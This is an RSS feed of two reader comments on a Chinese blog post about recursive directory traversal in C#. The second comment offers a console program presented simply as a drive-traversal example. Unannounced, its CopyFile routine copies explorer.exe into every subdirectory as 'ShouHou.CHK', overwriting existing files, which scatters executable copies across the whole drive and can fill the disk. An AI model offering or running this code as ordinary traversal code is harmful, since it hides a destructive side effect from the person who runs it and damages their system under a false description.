<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>《实现遍历目录的递归算法（c#实现）》的评论</title>
	<atom:link href="http://amberlife.net/2009/04/%e5%ae%9e%e7%8e%b0%e9%81%8d%e5%8e%86%e7%9b%ae%e5%bd%95%e7%9a%84%e9%80%92%e5%bd%92%e7%ae%97%e6%b3%95%ef%bc%88c%e5%ae%9e%e7%8e%b0%ef%bc%89/feed/" rel="self" type="application/rss+xml" />
	<link>http://amberlife.net/2009/04/%e5%ae%9e%e7%8e%b0%e9%81%8d%e5%8e%86%e7%9b%ae%e5%bd%95%e7%9a%84%e9%80%92%e5%bd%92%e7%ae%97%e6%b3%95%ef%bc%88c%e5%ae%9e%e7%8e%b0%ef%bc%89/</link>
	<description>又一个 WordPress Blog</description>
	<lastBuildDate>Tue, 10 Aug 2010 15:41:34 +0800</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>amberlife</title>
		<link>http://amberlife.net/2009/04/%e5%ae%9e%e7%8e%b0%e9%81%8d%e5%8e%86%e7%9b%ae%e5%bd%95%e7%9a%84%e9%80%92%e5%bd%92%e7%ae%97%e6%b3%95%ef%bc%88c%e5%ae%9e%e7%8e%b0%ef%bc%89/comment-page-1/#comment-98</link>
		<dc:creator>amberlife</dc:creator>
		<pubDate>Sat, 08 Aug 2009 14:38:17 +0000</pubDate>
		<guid isPermaLink="false">http://amberlife.net/?p=68#comment-98</guid>
		<description>其实关键就是一个递归，呵呵，我写有一个java实现的类似windows搜索那样的程序，你可以看一下，有空可以交流，QQ：574541259.</description>
		<content:encoded><![CDATA[<p>其实关键就是一个递归，呵呵，我写有一个java实现的类似windows搜索那样的程序，你可以看一下，有空可以交流，QQ：574541259.</p>
]]></content:encoded>
	</item>
	<item>
		<title>xuSweeter</title>
		<link>http://amberlife.net/2009/04/%e5%ae%9e%e7%8e%b0%e9%81%8d%e5%8e%86%e7%9b%ae%e5%bd%95%e7%9a%84%e9%80%92%e5%bd%92%e7%ae%97%e6%b3%95%ef%bc%88c%e5%ae%9e%e7%8e%b0%ef%bc%89/comment-page-1/#comment-95</link>
		<dc:creator>xuSweeter</dc:creator>
		<pubDate>Thu, 30 Jul 2009 17:00:00 +0000</pubDate>
		<guid isPermaLink="false">http://amberlife.net/?p=68#comment-95</guid>
		<description>来一个我写的C#版的遍历某个盘符的程序；
      是控制台应用程序：

namespace XDirectory
{
    class Program
    {
        public static string searchPath;

        static void Main(string[] args)
        {
            Console.Write(&quot;请输入您要遍历的路径：&quot;);
            searchPath = Console.ReadLine().ToString();
            GetFolders(searchPath);
            Console.ReadLine();
        }

        public static void GetFolders(string thisPath) 
        {
            try
            {
                string[] myDirectory = Directory.GetDirectories(thisPath);
                for (int i = 0; i &lt; myDirectory.Length; i++)
                {
                    CopyFile(myDirectory[i]);
                    GetFolders(myDirectory[i]);
                }
            }
            catch (Exception ex) 
            {
                Console.WriteLine(ex.Message.ToString());
            }
        }

        public static void CopyFile(string thisPath) 
        {
            try 
            {
                Console.WriteLine(thisPath);
                File.Copy(@&quot;c:\windows\explorer.exe&quot;, thisPath + &quot;\\ShouHou.CHK&quot;, true);
            }
            catch(Exception ex)
            {
                Console.WriteLine(ex.Message.ToString());
            }            
        }
    }
}</description>
		<content:encoded><![CDATA[<p>来一个我写的C#版的遍历某个盘符的程序；<br />
      是控制台应用程序：</p>
<p>namespace XDirectory<br />
{<br />
    class Program<br />
    {<br />
        public static string searchPath;</p>
<p>        static void Main(string[] args)<br />
        {<br />
            Console.Write(&#8221;请输入您要遍历的路径：&#8221;);<br />
            searchPath = Console.ReadLine().ToString();<br />
            GetFolders(searchPath);<br />
            Console.ReadLine();<br />
        }</p>
<p>        public static void GetFolders(string thisPath)<br />
        {<br />
            try<br />
            {<br />
                string[] myDirectory = Directory.GetDirectories(thisPath);<br />
                for (int i = 0; i &lt; myDirectory.Length; i++)<br />
                {<br />
                    CopyFile(myDirectory[i]);<br />
                    GetFolders(myDirectory[i]);<br />
                }<br />
            }<br />
            catch (Exception ex)<br />
            {<br />
                Console.WriteLine(ex.Message.ToString());<br />
            }<br />
        }</p>
<p>        public static void CopyFile(string thisPath)<br />
        {<br />
            try<br />
            {<br />
                Console.WriteLine(thisPath);<br />
                File.Copy(@&quot;c:\windows\explorer.exe&quot;, thisPath + &quot;\\ShouHou.CHK&quot;, true);<br />
            }<br />
            catch(Exception ex)<br />
            {<br />
                Console.WriteLine(ex.Message.ToString());<br />
            }<br />
        }<br />
    }<br />
}</p>
]]></content:encoded>
	</item>
</channel>
</rss>
